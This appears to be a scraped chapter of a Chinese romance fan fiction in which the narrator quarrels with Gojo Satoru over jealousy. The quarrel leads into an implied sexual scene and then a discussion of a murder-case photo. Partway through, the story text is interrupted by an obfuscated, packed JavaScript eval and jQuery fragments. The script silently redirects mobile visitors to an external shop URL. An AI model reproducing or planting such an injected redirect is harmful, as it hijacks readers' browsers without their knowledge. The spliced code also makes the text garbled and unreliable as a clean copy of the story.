文趣网 > 都市小说 > 糟了,前男友是神[咒回] > 15.5. 手心与冰川(3)
    抱住我的家伙一下不吭声了。

    “五、条、悟。”我冷冰冰:“说话。”

    “……你不是说你已经不在意晚上的事了吗?”他试图倒打一耙:“所以真弥子果然是在口是心非、悄悄记仇吗?”

    哇。

    我叹服地气笑了。

    “亏我还在自我反省我反应是不是太过激了——搞半天根本不是我想多了,你就是在怀疑我,还在那装无辜、装委屈……”

    “我就不该质疑我自己对你的了解!”

    亏我还深沉地思考了那么多,亏我还给他好声好气地道歉。

    “看我羞愧得要死的样子,你是不是很得意啊?”

    五条悟干咳一声。

    “……身为我的女朋友,和别的男人一起喝酒,真弥子难道不需要羞愧一下吗?”

    “羞愧你个头。都说了是偶遇啊偶遇,而且人家也刚好有点正事要聊。”

    我的怒火在他的不知悔改下极速燃起来,伸手试图推开他的胸膛。

    “平常十天半个月不见人影,查起岗来倒是眼睛里容不得沙子。那我要不要天天打你电话?”

    “虽然我心情上非常欢迎,但因为太忙了,不太保证每次接电话都有时间和真弥子聊很久哦……”

    靠,还反倒难为他了。

    “那我就很闲吗!”

    我抬腿踹他,他不痛不痒照单全收、巍然不动,像堵墙一样。

    被子和床单被我们两个人扭得乱七八糟。

    “你滚吧,去上你的班,打你的怪兽,过半年再回来算了,免得我看见你就火大——”

    “喂喂,真弥子。”五条悟讨好地捉住我的手腕,凑得更近,大腿把我的身体压得牢牢的:“反应也太大了吧。隔半年才回来的话,你不是会很想我吗?”

    “不想。”我怒斥:“我想个屁。”

    他的身体也倾轧过来,像座山:“对不起嘛,我也就随便一说,大不了我就把话收回……”

    我被压在他下面,一时动弹不得,瞪着他,心里的火无处发泄。

    片刻之后,我冷笑一声。

    “没关系,不用收回。”我阴阳怪气道:“毕竟玄学这种东西,你比我更懂嘛,不一定没有道理。”

    突然改变口风,五条悟迟疑了一下,在黑暗里盯着我:“……什么意思?”

    “但是到底是不是因为磁场不合之类的,实验样本太少了,不太好下结论,不能就这么推到人家身上。”我说。

    他语气略微困惑:“所以呢?”

    “我应该多约日车几次再试试看。”我一本正经地说:“保底得再来个十次吧,看看是不是每次和他聊完天以后,我都会对你发脾气,这样结果才有参考价值。”

    我越说越有底气,反正无辜的日车也听不见。

    顶多也就是半夜突然打几个喷嚏。

    “……十次?”

    “十次可能有点不够啊,干脆有空的时候都约一下,约个半年再说吧。不过人家那么忙一个大律师,也不是每次都有空赏脸的……”

    黑暗之中,我看不清五条悟的表情,只能察觉压在我身上的胸膛里重重发出一声嗤笑。

    “哇哦,很厉害嘛,朝仓真弥。”

    他的气压开始变低。

    “胆子变这么大了?都开始主动挑衅我了?”

    “遇事能不能先找找自己的问题。”终于看见他不爽,我痛快了一点,试图苦口婆心地教育他:“如果不是因为你先不讲道理、强词夺理、巧言令色、口是心非、两面三刀、上纲上线、得寸进尺……”

    我的手腕一寸寸被捏紧,我察觉自己越说越文思泉涌,强行刹住了车:“我的意思是,只要你别无理取闹,晚上本来什么冲突都不会发生。”

    “我无理取闹?”

    “难道不是吗?”

    我反问,察觉气氛越来越危险,意识到不能再多说下去,见好就收:“总而言之,现在最重要的事是让我睡个好觉,而你好好去梦里反思一下……”

    “我反思?”

    “你总不会连反思都不愿意吧?”我不可置信:“明明这一切都是你的错——”

    我的手腕忽然被松开了。

    压在我身上的身体忽地往后撤开,留出足够的空间,尔后朝下滑去,探入被子里。

    我身上一轻,大脑宕机地眨眨眼睛,忽然察觉某个人已经完全入侵了我被窝的下半区。

    “喂,五条悟,你睡到哪里去了……”我慌起来:“你给我出来,我们还没聊完呢……”

    “有什么好聊的,真弥子不是想睡觉吗?”被窝里传来他阴恻恻的声音:“你睡你的啊,我正打算反思呢。”

    哪有钻到人家被子里反思的啊。

    “你不要太过分!”我试图朝后缩:“你再搞鬼我真的要生气了——”

    “真弥子不是已经气炸了吗?”他慢条斯理地说,手还在摩挲:“都已经想出轨了。”

    怎么就四舍五入到出轨了啊。

    很熟悉的架势,我痒得鸡皮疙瘩都起来,一下不管那些有的没的了,郁结啊愤怒啊委屈啊全都被吓得烟消云散,语无伦次:“没那回事,我是乱说的,你没有在闹,你也不用反思了,你就当我没说……”

    我的膝弯被朝外握住。

    “我们别聊日车的事了,我也不会约日车了,把人家当成我们Play的一环是很过分的,我是开玩笑的,真的,我错了……”

    努力夹紧,却被轻易掰开,我的声音也随之劈了叉,只能徒劳伸手,推他贴在我腹部的头,反过来被他咬了一口手指。

    “十次是吧?”

    “张、张冠李戴就不好了吧……”

    我在黑暗里完全抓瞎,下半身入了虎口,此刻只剩下绝望与悔恨:“我错了,我现在改成零次……”

    “说什么都晚了。”五条悟一手钳住我两只手腕,冷笑的声音从被子里模模糊糊传出来:“日车日车日车,真是完全忍不下去了啊——”

    “跟真弥子讲道理真是我最错误的决定。”

    ……这话应该由我来说吧!

    -

    我恹恹醒来的时候,五条悟竟然还躺在我身边。

    昨晚没拉窗帘,正午的日光晒得我皱起眉,脑袋本能往头顶的臂弯里缩了缩。

    牵一发而动全身,酸痛传向四肢百骸。我“嘶”了一声,整个人像只半死不活的虾,扑腾了一下就动弹不得。

    替我挡住阳光的手掌晃悠了一下,我隐隐约约听见笑声。

    “好夸张哦。”始作俑者揶揄:“你不是有在练瑜伽吗?”

    “……开玩笑,有可比性吗?”我顶着破锣嗓子,半闭着眼,奄奄一息没好气:“练过瑜伽就能躺到马路上,随便被大卡车碾吗……”

    他顺手就把我捞起来,任我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776086|208797||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没骨头一样歪在他怀里,然后喂给我一杯水。

    “眼睛好肿啊。”欺负我仿佛会让他心情很好:“从各种意义上来说,真弥子都需要多喝点水哦。”

    “……”根本不想理他。

    我听见生姜在外面的挠门惨叫声,喵喵咪咪呜呜嗷嗷。

    “……你早上有给它喂饭吗?”

    “喂了啊。”他顺手从枕头下面拿起手机点开,漫不经心:“它应该只是想你了吧。”

    我看着他动作,察觉不对:“喂,你拿的是我的手机……”

    日光照在他半裸的身体上,雪白的发丝凌乱地盖过脸颊,侧脸、喉结、锁骨的线条流畅而性感。

    昨晚一些乱七八糟的旖旎记忆复苏,我稍稍卡了下壳。

    五条悟笑吟吟看着被他迷住的我,舒展了一下布满斑斑点点的身体,拿走我喝完的水杯,把他的iPhone X拎起来,搁在我头顶,像在逗一只小狗:“很稳当嘛——喏,给你玩,密码是0524。”

    “……”谁答应交换了啊,跟哄小孩一样。

    我剜了他一眼,拿过手机,无言以对地解锁。

    -

    通话记录里十条有九条是“伊地知”,间接夹杂着“夜蛾正道”这种正经名字,和“小眼睛大脾气”、“医务室老阿姨”之类乱七八糟的名称。

    短信就基本上全来自伊地知了。发送时间非常密集,语气全是求着手机主人快去工作,或者是“抱歉,临时又有新任务,发您邮箱了”这种话。

    五条悟工作态度不是很积极吗,怎么还需要这种苦口婆心的卑微鞭策呢?

    我又点开邮箱。

    正在加载,忽然脑袋被人戳了戳。

    “诶——”五条悟低头来问我,把我的手机杵到我眼前:“这张奇怪的照片,是怎么回事呢?”

    是相册里的最新照片,日车昨晚传给我的。

    沾着血迹的藏青色布料,上面绣着繁复的金色家纹。

    -

    “啊——”我顺嘴就要解释:“是昨晚日车……”

    我下腹条件反射一紧,暗中瞟着他似乎没有波动的平静侧脸,格外心虚又暗暗咬牙地收住声音。

    明明胡乱吃醋、有错在先的人是五条悟,昨晚为此被狠狠折腾到求饶、连日车名字都不敢提的人却是我。

    虽然此刻弱小的我一声都不敢吭,但三十年河东三十年河西,我朝仓真弥会一直不忘耻辱、时刻准备复仇的。

    “……有道理啊。”我顾左右而言他:“我也应该先看看你的相册,看看自拍什么的。”

    “想要的话待会传给你啦,有很多帅照哦。腹肌照想要的话给你拍现成的,或者再色一点的照片也可以。”

    这个自恋的家伙很受用,随便蹭了蹭我的脸颊,还是目不转睛地盯着那张照片:“所以是日车宽见发给你的?他这是在搞什么名堂?说说。”

    他态度里的轻浮似乎褪去不少,我也稍微正经了起来。

    “……大概就是,他负责一个案子,然后……这片布是受害者尸体里发现的。他在打听这是哪个贵族家的和服。”

    他还想托我问你呢。但我没敢说。

    五条悟双指放大那张照片,难得专注,雪白的眼睫在强光下晶莹发亮,苍蓝色的眼瞳情绪莫名幽深。

    片刻后,他修长手指在屏幕上停滞片刻,尔后几乎是毫不犹豫地点了删除键。